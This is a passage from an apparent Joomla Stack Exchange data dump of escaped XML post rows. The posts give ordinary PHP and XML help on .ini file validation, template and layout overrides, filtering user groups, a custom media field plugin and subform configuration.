:&#xA;Code HTML:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;/index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp; id=119&amp;amp;amp;catid=21&amp;amp;amp;Itemid=159&amp;amp;amp;lang=fr&amp;quot;&amp;gt;kamea-meah&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&amp;quot;/index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp; id=122&amp;amp;amp;catid=21&amp;amp;amp;Itemid=159&amp;amp;amp;lang=fr&amp;quot;&amp;gt;meteore-films&amp;lt;/a&amp;gt;​&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;1/ how to have a SEF url ?&#xA;I have set the SEF url in the general config&lt;/p&gt;&#xA;&lt;p&gt;2/ how to add another subform field and formatting?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Film pros : kamea-meah (production) - meteore-films (direction)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;DEBUG&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;', print_r($field_value), '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;=&amp;gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;[row0] =&amp;gt; stdClass Object&#xA;(&#xA;[field110] =&amp;gt; 119&#xA;[field112] =&amp;gt; Array&#xA;(&#xA;[0] =&amp;gt; film_rea&#xA;)&#xA;&#xA;)&#xA;&#xA;[row1] =&amp;gt; stdClass Object&#xA;(&#xA;[field110] =&amp;gt; 122&#xA;)&#xA;&#xA;)​  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'll need to retrieve the term &amp;quot;director from the value of &amp;quot;film_rea&amp;quot; custom field&lt;/p&gt;&#xA;" OwnerUserId="14630" LastEditorUserId="14630" LastEditDate="2023-05-30T12:08:30.183" LastActivityDate="2023-05-30T12:08:30.183" Title="Composing urls in a subform loop" Tags="|subform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33062" PostTypeId="2" ParentId="33055" CreationDate="2023-05-20T04:32:52.003" Score="3" Body="&lt;p&gt;I suppose if you are seeking line-by-line .ini file validation with actionable diagnostic detail, then I would avoid trying to re-invent the parser's intricacies/quirks via a regex approach.&lt;/p&gt;&#xA;&lt;p&gt;Split your .ini file on newline characters, loop that array of strings, attempt to parse each line, handle each parsing attempt with some deliberate condition statements to offer insights about anomalies.&lt;/p&gt;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/0d83G&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ini = &amp;lt;&amp;lt;&amp;lt;INI&#xA;TPL_CONTACT_MISC=&amp;quot;Miscellaneous Info&amp;quot;&#xA;date.timezone = Pacific/Tahiti&#xA;TPL_CONTACT_MISC=&amp;quot;Your german misc info translation&amp;quot;&#xA;COM_TODO_ALIGN=&amp;quot;Image Float&amp;quot;&#xA;JOOMLA! DEFAULT IMAGES=Жуумла! үндсэн зурагнууд&#xA;COM_TODO_ALIGN_DESC=&amp;quot;This will apply the classes 'pull-left', 'pull-center' or 'pull-right' to the '&amp;lt;figure&amp;gt;' or '&amp;lt;img&amp;gt;' element&amp;quot;&#xA;COM_TODO_BROWSE_FILES=&amp;quot;Browse files&amp;quot;&#xA;COM_TODO_CAPTION=&amp;quot;Caption&amp;quot;&#xA;COM_TODO_CAPTION_CLASS_LABEL=&amp;quot;Caption Class&amp;quot;&#xA;COM_MEMBERSHIPS_FIELD_MEMBERSHIP_LABEL 911&#xA;COM_FRED_GREETING='Hello'&#xA;COM_FRED_GREETING_BARNEY='Yo, Buddy'&#xA;DR_SOLD=&amp;quot;SOLD&amp;quot;&#xA;upload_tmp_dir = /var/www/html/tmp&#xA;INI;&#xA;&#xA;$result = [];&#xA;foreach (explode(PHP_EOL, $ini) as $i =&amp;gt; $line) {&#xA;    $parsed = @parse_ini_string($line);&#xA;    if (!is_array($parsed)) {&#xA;        $anomalies[] = &amp;quot;Invalid character(s) @ line index $i: $line&amp;quot;;&#xA;        continue;&#xA;    }&#xA;    $key = key($parsed);&#xA;    if ($key === null) {&#xA;        $anomalies[] = &amp;quot;No valid declaration @ line index $i: $line&amp;quot;;&#xA;    } elseif (key_exists($key, $result)) {&#xA;        $anomalies[] = &amp;quot;Redundant key declaration @ line index $i: $key =&amp;gt; $parsed[$key]&amp;quot;;&#xA;    } else {&#xA;        $result[$key] = $parsed[$key];&#xA;    }&#xA;}&#xA;var_export($anomalies);&#xA;echo &amp;quot;\n---\n&amp;quot;;&#xA;var_export($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  0 =&amp;gt; 'Redundant key declaration @ line index 2: TPL_CONTACT_MISC =&amp;gt; Your german misc info translation',&#xA;  1 =&amp;gt; 'Invalid character(s) @ line index 4: JOOMLA! DEFAULT IMAGES=Жуумла! үндсэн зурагнууд',&#xA;  2 =&amp;gt; 'No valid declaration @ line index 9: COM_MEMBERSHIPS_FIELD_MEMBERSHIP_LABEL 911',&#xA;)&#xA;---&#xA;array (&#xA;  'TPL_CONTACT_MISC' =&amp;gt; 'Miscellaneous Info',&#xA;  'date.timezone' =&amp;gt; 'Pacific/Tahiti',&#xA;  'COM_TODO_ALIGN' =&amp;gt; 'Image Float',&#xA;  'COM_TODO_ALIGN_DESC' =&amp;gt; 'This will apply the classes \'pull-left\', \'pull-center\' or \'pull-right\' to the \'&amp;lt;figure&amp;gt;\' or \'&amp;lt;img&amp;gt;\' element',&#xA;  'COM_TODO_BROWSE_FILES' =&amp;gt; 'Browse files',&#xA;  'COM_TODO_CAPTION' =&amp;gt; 'Caption',&#xA;  'COM_TODO_CAPTION_CLASS_LABEL' =&amp;gt; 'Caption Class',&#xA;  'COM_FRED_GREETING' =&amp;gt; 'Hello',&#xA;  'COM_FRED_GREETING_BARNEY' =&amp;gt; 'Yo, Buddy',&#xA;  'DR_SOLD' =&amp;gt; 'SOLD',&#xA;  'upload_tmp_dir' =&amp;gt; '/var/www/html/tmp',&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your actual application, replace &lt;code&gt;explode(PHP_EOL, $ini)&lt;/code&gt; with a &lt;code&gt;file($myFilePath)&lt;/code&gt; call.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If we are talking more specifically about Joomla's language .ini files, then additional key and value validation conditions should be added to align with Joomla's version-specific parser requirements (e.g. support for dot in keys and missing double quotes around values).  More reading at: &lt;a href=&quot;https://docs.joomla.org/Creating_a_language_definition_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a language definition file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a bit more effort to align with Joomla's parser restrictions: (&lt;a href=&quot;https://3v4l.org/snnid&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$anomalies = [];&#xA;$result = [];&#xA;foreach (explode(PHP_EOL, $ini) as $i =&amp;gt; $line) {&#xA;    $parsed = @parse_ini_string($line);&#xA;    if (!is_array($parsed)) {&#xA;        $anomalies[] = &amp;quot;Invalid character(s) @ line index $i: $line&amp;quot;;&#xA;        continue;&#xA;    }&#xA;    $key = key($parsed);&#xA;    if ($key === null) {&#xA;        $anomalies[] = &amp;quot;No valid declaration @ line index $i: $line&amp;quot;;&#xA;    } elseif (!mb_check_encoding($key, 'ASCII')) {&#xA;        $anomalies[] = &amp;quot;Non-ASCII character found in key @ line index $i: $line&amp;quot;;&#xA;    } elseif (!preg_match('/^[A-Z\d_-]+/', $key)) {&#xA;        $anomalies[] = &amp;quot;Key is expected to contain only uppercase letters, numbers, underscores, and hyphens @ line index $i: $line&amp;quot;;&#xA;    } elseif (!preg_match('/^[A-Z\d_-]+=&amp;quot;(.*)&amp;quot;$/', $line, $m)) {&#xA;        $anomalies[] = &amp;quot;Value not wrapped in double quotes @ line index $i: $line&amp;quot;;&#xA;    } elseif (preg_match('/(?&amp;lt;!\\\\)(?:\\\\\\\\)*&amp;quot;/', $m[1])) {&#xA;        $anomalies[] = &amp;quot;Value contains unescaped double quote @ line index $i: $line&amp;quot;;&#xA;    } elseif (key_exists($key, $result)) {&#xA;        $anomalies[] = &amp;quot;Redundant key declaration @ line index $i: $key =&amp;gt; $result[$key] **overwritten by** $parsed[$key]&amp;quot;;&#xA;        $result[$key] = $parsed[$key];  // mimic Joomla parser behaviour&#xA;    } else {&#xA;        $result[$key] = $parsed[$key];&#xA;    }&#xA;}&#xA;var_export($anomalies);&#xA;echo &amp;quot;\n---\n&amp;quot;;&#xA;var_export($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-05-22T18:59:01.763" LastActivityDate="2023-05-22T18:59:01.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33063" PostTypeId="2" ParentId="7521" CreationDate="2023-05-20T12:38:32.800" Score="1" Body="&lt;p&gt;I achieve this by editing template's PHP code. I'm using Joomla 4 with default Cassiopeia template. I will use 'category` as an example. i.e., I want 'category' to be shown in a single article, but not shown in blog category. You can apply this method to other details (like 'Published date', 'Hits', etc) as well.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login administration page, click &lt;code&gt;System&lt;/code&gt; at the left side-bar.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Site templates&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Cassiopeia Details and Files&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Create overrides&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;joomla&lt;/code&gt; at the &lt;code&gt;Layouts&lt;/code&gt; column. This will expand that directory. Then click &lt;code&gt;content&lt;/code&gt;. You can see a successful hint.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Editor&lt;/code&gt;, navigate to the directory you just created, namely &lt;code&gt;templates/cassiopeia/html/layouts/joomla/content&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;info_block.php&lt;/code&gt; under this directory to edit it.&lt;/li&gt;&#xA;&lt;li&gt;In the first PHP code block, add one line of code: &lt;code&gt; $isCategoryView = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('view') == 'category';&lt;/code&gt;. The variable &lt;code&gt;$isCategoryView&lt;/code&gt; represents whether current view is 'category'.&lt;/li&gt;&#xA;&lt;li&gt;Find this line with a if-sentence &lt;code&gt;&amp;lt;?php if ($displayData['params']-&amp;gt;get('show_category')) : ?&amp;gt;&lt;/code&gt;. Add an additional condition to this 'if', makes it &lt;code&gt;&amp;lt;?php if ($displayData['params']-&amp;gt;get('show_category') &amp;amp;&amp;amp; !$isCategoryView) : ?&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://stackoverflow.com/questions/45612051/how-to-detect-if-the-page-is-a-joomla-article-or-category-blog-view&quot;&gt;this answer&lt;/a&gt; at the Stack Overflow.&lt;/p&gt;&#xA;" OwnerUserId="17062" LastActivityDate="2023-05-20T12:38:32.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33064" PostTypeId="2" ParentId="33025" CreationDate="2023-05-20T18:50:48.157" Score="1" Body="&lt;p&gt;When you're editing a user then the contents of the Assigned User Groups tab is generated by the code in administrator/components/com_users/tmpl/user/edit_groups.php. As with all &lt;code&gt;tmpl&lt;/code&gt; files you can create an override within the administrator System / Administrator Templates / Atum Details and Files.&lt;/p&gt;&#xA;&lt;p&gt;The code in edit_groups.php is just&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo HTMLHelper::_('access.usergroups', 'jform[groups]', $this-&amp;gt;groups, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which runs the function &lt;code&gt;usergroups()&lt;/code&gt; within libraries/src/HTML/Helpers/Access.php.&lt;/p&gt;&#xA;&lt;p&gt;So you can just move that function into edit_groups.php directly, remembering to include the appropriate &lt;code&gt;use&lt;/code&gt; statements, and setting manually the parameters to that function.&lt;/p&gt;&#xA;&lt;p&gt;The code gets a list of the usergroups on the system and cycles through them to output the checkboxes for each. I've just included code to skip over where the usergroup title is ABCAdmin. Obviously you'd need to do a bit more work to decide based on the current user whether the usergroup should be skipped or not.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Access\Access as AccessCheck;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Helper\UserGroupsHelper;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Layout\LayoutHelper;&#xA;&#xA;$name = 'jform[groups]';&#xA;$selected = $this-&amp;gt;groups;&#xA;$checkSuperAdmin = true;&#xA;&#xA;static $count;&#xA;&#xA;$count++;&#xA;&#xA;$isSuperAdmin = Factory::getUser()-&amp;gt;authorise('core.admin');&#xA;&#xA;$groups = array_values(UserGroupsHelper::getInstance()-&amp;gt;getAll());&#xA;&#xA;$html = [];&#xA;&#xA;for ($i = 0, $n = count($groups); $i &amp;lt; $n; $i++) {&#xA;    $item = &amp;amp;$groups[$i];&#xA;&#xA;    if ($item-&amp;gt;title === &amp;quot;ABCAdmin&amp;quot;) {&#xA;        continue;&#xA;    }&#xA;&#xA;    // If checkSuperAdmin is true, only add item if the user is superadmin or the group is not super admin&#xA;    if ((!$checkSuperAdmin) || $isSuperAdmin || (!AccessCheck::checkGroup($item-&amp;gt;id, 'core.admin'))) {&#xA;        // Setup  the variable attributes.&#xA;        $eid = $count . 'group_' . $item-&amp;gt;id;&#xA;&#xA;        // Don't call in_array unless something is selected&#xA;        $checked = '';&#xA;&#xA;        if ($selected) {&#xA;            $checked = in_array($item-&amp;gt;id, $selected) ? ' checked=&amp;quot;checked&amp;quot;' : '';&#xA;        }&#xA;&#xA;        $rel = ($item-&amp;gt;parent_id &amp;gt; 0) ? ' rel=&amp;quot;' . $count . 'group_' . $item-&amp;gt;parent_id . '&amp;quot;' : '';&#xA;&#xA;        // Build the HTML for the item.&#xA;        $html[] = ' &amp;lt;div class=&amp;quot;control-group&amp;quot;&amp;gt;';&#xA;        $html[] = '     &amp;lt;div class=&amp;quot;controls&amp;quot;&amp;gt;';&#xA;        $html[] = '         &amp;lt;label class=&amp;quot;form-check-label checkbox&amp;quot; for=&amp;quot;' . $eid . '&amp;quot;&amp;gt;';&#xA;        $html[] = '         &amp;lt;input class=&amp;quot;form-check-input&amp;quot; type=&amp;quot;checkbox&amp;quot; name=&amp;quot;' . $name . '[]&amp;quot; value=&amp;quot;' . $item-&amp;gt;id . '&amp;quot; id=&amp;quot;' . $eid . '&amp;quot;';&#xA;        $html[] = '                 ' . $checked . $rel . '&amp;gt;';&#xA;        $html[] = '         ' . LayoutHelper::render('joomla.html.treeprefix', ['level' =&amp;gt; $item-&amp;gt;level + 1]) . $item-&amp;gt;title;&#xA;        $html[] = '         &amp;lt;/label&amp;gt;';&#xA;        $html[] = '     &amp;lt;/div&amp;gt;';&#xA;        $html[] = ' &amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;echo implode(&amp;quot;\n&amp;quot;, $html);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-05-20T18:50:48.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33065" PostTypeId="2" ParentId="33028" CreationDate="2023-05-21T20:34:18.807" Score="0" Body="&lt;p&gt;With the solution below I'm assuming that you're wanting to use your custom filesystem plugin just for the custom media field alone, So that if you select an image in the Article Images and Links tab instead then for that you want to use the default joomla filesystem plugin.&lt;/p&gt;&#xA;&lt;h2&gt;Solution Background&lt;/h2&gt;&#xA;&lt;p&gt;Within the admin Article edit form, in the Images and Links tab, when you click on the Select button it generates an HTTP GET to the server with query parameters something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;option=com_media&amp;amp;view=media&amp;amp;tmpl=component&amp;amp;mediatypes=0&amp;amp;asset=91&amp;amp;author=604&#xA;&amp;amp;fieldid={field-media-id}&amp;amp;path=local-images:/sampledata/cassiopeia&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The response enables the javascript code in media-manager.js to create the modal window for displaying the images which the user can select. On the left hand side are shown the folders, which are generated by the filesystem plugins (known as providers), and the information for displaying these is returned in the response to the above HTTP GET.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla field type&lt;/a&gt; within the edit Article Images and Links tab is a &lt;code&gt;media&lt;/code&gt; field. So if you define a custom field as a 'media' type field, you're going to get the same &lt;code&gt;media&lt;/code&gt; field underneath, and you'll get the same providers back.&lt;/p&gt;&#xA;&lt;p&gt;So the solution proposed is the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new custom field type – I've called my 'mymedia', based on a new field type which I've called &lt;code&gt;restrictedmedia&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Define the &lt;code&gt;restrictedmedia&lt;/code&gt; field type (piggy-backing on the Joomla &lt;code&gt;media&lt;/code&gt; field type) and get it to send a different HTTP request to the server – so that the server can determine whether the request is from an ordinary &lt;code&gt;media&lt;/code&gt; field, or from the &lt;code&gt;restrictedmedia&lt;/code&gt; field. To do this I've injected an extra query parameter &amp;quot;restrictedmedia=1&amp;quot; in the URL when it's the &lt;code&gt;restrictedmedia&lt;/code&gt; field type.&lt;/li&gt;&#xA;&lt;li&gt;Change code on the server to recognise the extra URL query parameter and adjust what providers get returned to the client js code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Create a mymedia custom field type&lt;/h2&gt;&#xA;&lt;p&gt;This involves writing a plugin which creates a subfolder mymedia under plugins/fields. In a folder plg_mymedia, I have got mymedia.xml which has:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;fields&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_fields_mymedia&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Robbie&amp;lt;/author&amp;gt;&#xA;    &amp;lt;description&amp;gt;My media plugin&amp;lt;/description&amp;gt;&#xA;    &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Robbie\Plugin\Fields\Mymedia&amp;lt;/namespace&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder plugin=&amp;quot;mymedia&amp;quot;&amp;gt;services&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in plg_mymedia/services/provider.php – almost identical to plugins/fields/media/services/provider.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Extension\PluginInterface;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;use Joomla\Event\DispatcherInterface;&#xA;use Robbie\Plugin\Fields\Mymedia\Extension\Mymedia;&#xA;&#xA;return new class () implements ServiceProviderInterface {&#xA;&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;set(&#xA;            PluginInterface::class,&#xA;            function (Container $container) {&#xA;                $dispatcher = $container-&amp;gt;get(DispatcherInterface::class);&#xA;                $plugin     = new Mymedia(&#xA;                    $dispatcher,&#xA;                    (array) PluginHelper::getPlugin('fields', 'mymedia')&#xA;                );&#xA;                $plugin-&amp;gt;setApplication(Factory::getApplication());&#xA;&#xA;                return $plugin;&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The main plugin code is in plg_mymedia/src/Extension/Mymedia.php. This is basically the same as in plugins/fields/media/src/Extension/Media.php, except make the following changes.&lt;/p&gt;&#xA;&lt;p&gt;At the top add your namespace and the fully qualified classname of FormHelper:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Robbie\Plugin\Fields\Mymedia\Extension;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in the function onCustomFieldsPrepareDom replace&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fieldNode-&amp;gt;setAttribute('type', 'media');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fieldNode-&amp;gt;setAttribute('type', 'restrictedmedia');&#xA;FormHelper::addFieldPrefix('Robbie\Plugin\Fields\Mymedia\Field');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This means that we're basing the mymedia custom field type upon a custom field type of 'restrictedmedia'. (Yes, it's unfortunate that 'custom field type' is used to mean different things in Joomla).&lt;/p&gt;&#xA;&lt;p&gt;We also need to tell the Joomla Form where to find the definition of the &lt;code&gt;restrictedmedia&lt;/code&gt; field type, via the addFieldPrefix call. From the manifest file line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Robbie\Plugin\Fields\Mymedia&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;'Robbie\Plugin\Fields\Mymedia' will map to plugins/fields/mymedia/src. So Joomla will expect to find the class Robbie\Plugin\Fields\Mymedia\Field\RestrictedmediaField in the file plugins/fields/mymedia/src/Field/RestrictedmediaField.php.&lt;/p&gt;&#xA;&lt;h2&gt;Define the RestrictedmediaField type&lt;/h2&gt;&#xA;&lt;p&gt;The definition of the 'restrictedmedia' field type is in plg_mymedia/src/Field/RestrictedmediaField.php. It's defined to be the same as the MediaField class in libraries/src/Form/Field/MediaField.php except that we inject an extra item into the $data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Robbie\Plugin\Fields\Mymedia\Field;&#xA;&#xA;use Joomla\CMS\Form\Field\MediaField;&#xA;&#xA;class RestrictedmediaField extends MediaField&#xA;{&#xA;    protected $type = 'Restrictedmedia';&#xA;    &#xA;    public function getLayoutData()&#xA;    {&#xA;        $data = parent::getLayoutData();&#xA;        $data['restrictedmedia'] = true;&#xA;        return $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;media&lt;/code&gt; field type (and our &lt;code&gt;restrictedmedia&lt;/code&gt; field type) is rendered in layouts/joomla/form/field/media.php, so we just need to change this so that the URL sent has the extra parameter if it's our &lt;code&gt;restrictedmedia&lt;/code&gt; field type. With the admin System / Templates / Atum Details and File create an override for that layout, and change the code as follows.&lt;/p&gt;&#xA;&lt;p&gt;Below the lines&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// The url for the modal&#xA;$url = ($readonly ? ''&#xA;    : ($link ?: 'index.php?option=com_media&amp;amp;view=media&amp;amp;tmpl=component&amp;amp;mediatypes=' . $mediaTypes&#xA;        . '&amp;amp;asset=' . $asset . '&amp;amp;author=' . $authorId)&#xA;    . '&amp;amp;fieldid={field-media-id}&amp;amp;path=' . $folder);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;add the lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($restrictedmedia)) {&#xA;  $url .= '&amp;amp;restrictedmedia=1';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the user clicks on the Select button then this is the URL which is sent to the server to get the data to build the modal window.&lt;/p&gt;&#xA;&lt;h2&gt;Adjust the providers sent in the response&lt;/h2&gt;&#xA;&lt;p&gt;The response to the HTTP GET is in administrator/components/com_media/tmpl/media/default.php. The data includes the filesystem providers, which are sent down to the javascript code in a &lt;code&gt;$config&lt;/code&gt; array using addScriptOptions.&lt;/p&gt;&#xA;&lt;p&gt;So you need to create another override for that file. Above the line populating the media &lt;code&gt;$config&lt;/code&gt;, add the lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($input-&amp;gt;getCmd('restrictedmedia')) {&#xA;  foreach ((array)$this-&amp;gt;providers as $key =&amp;gt; $provider) {&#xA;    if ($provider-&amp;gt;name === &amp;quot;local&amp;quot;) {&#xA;      unset ($this-&amp;gt;providers[$key]);&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So if it's the case that the URL has &amp;quot;restrictedmedia=1&amp;quot; then these lines will remove the default local filesystem provider.&lt;/p&gt;&#xA;&lt;p&gt;Inside your custom filesystem plugin, within onSetupProviders you could also examine the URL and determine whether you wanted to register your filesystem provider.&lt;/p&gt;&#xA;&lt;p&gt;By the way, testing this code I found at one point an error reported in the modal window &amp;quot;Account not found&amp;quot;. If this occurs, then clear your session cookies via your browser devtools. There was a Joomla bug which caused this message, and it's maybe not totally sorted.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-05-21T20:34:18.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33066" PostTypeId="1" CreationDate="2023-05-21T23:57:49.233" Score="1" ViewCount="76" Body="&lt;p&gt;There's a knowledge base for one Joomla component and it contains a whole bunch of Plugin Events. Text files with a code, basically. I wonder how they can be used in a real life an what for? Would it really be helpful for PHP programmers to have access to those things as opposed to just working with that Joomla extension without them?&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2023-05-23T01:07:06.020" Title="Plugin Events - how are they helpful in a real life?" Tags="|php|plugin-events|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="33067" PostTypeId="1" CreationDate="2023-05-22T18:13:43.967" Score="2" ViewCount="72" Body="&lt;p&gt;I made a small plugin, which uses a repeatable subform param element. It doesn't really matter what the plugin does:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;events&amp;quot; type=&amp;quot;subform&amp;quot; hiddenLabel=&amp;quot;true&amp;quot; label=&amp;quot;Event&amp;quot; multiple=&amp;quot;true&amp;quot; buttons=&amp;quot;add,remove,move&amp;quot; default='{&amp;quot;events0&amp;quot;:{&amp;quot;event&amp;quot;:&amp;quot;myevent1&amp;quot;,&amp;quot;receiver&amp;quot;:[&amp;quot;site&amp;quot;,&amp;quot;contact&amp;quot;,&amp;quot;customer&amp;quot;],&amp;quot;active&amp;quot;:&amp;quot;1&amp;quot;},&amp;quot;events1&amp;quot;:{&amp;quot;event&amp;quot;:&amp;quot;myevent2&amp;quot;,&amp;quot;receiver&amp;quot;:[&amp;quot;site&amp;quot;],&amp;quot;active&amp;quot;:&amp;quot;1&amp;quot;},&amp;quot;events2&amp;quot;:{&amp;quot;event&amp;quot;:&amp;quot;myevent3&amp;quot;,&amp;quot;receiver&amp;quot;:[&amp;quot;site&amp;quot;,&amp;quot;contact&amp;quot;,&amp;quot;customer&amp;quot;],&amp;quot;active&amp;quot;:&amp;quot;1&amp;quot;},&amp;quot;events3&amp;quot;:{&amp;quot;event&amp;quot;:&amp;quot;myevent4&amp;quot;,&amp;quot;receiver&amp;quot;:[&amp;quot;site&amp;quot;,&amp;quot;contact&amp;quot;,&amp;quot;customer&amp;quot;],&amp;quot;active&amp;quot;:&amp;quot;1&amp;quot;}}'&amp;gt;&#xA;                &amp;lt;form&amp;gt;&#xA;                    &amp;lt;field name=&amp;quot;event&amp;quot; type=&amp;quot;list&amp;quot; label=&amp;quot;Event&amp;quot;&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;myevent4&amp;quot;&amp;gt;myevent4&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;myevent1&amp;quot;&amp;gt;myevent1&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;myevent3&amp;quot;&amp;gt;myevent3&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;myevent2&amp;quot;&amp;gt;myevent2&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/field&amp;gt;&#xA;                    &amp;lt;field name=&amp;quot;receiver&amp;quot; type=&amp;quot;list&amp;quot; multiple=&amp;quot;true&amp;quot; label=&amp;quot;RECEIVERS&amp;quot; default=&amp;quot;site&amp;quot; 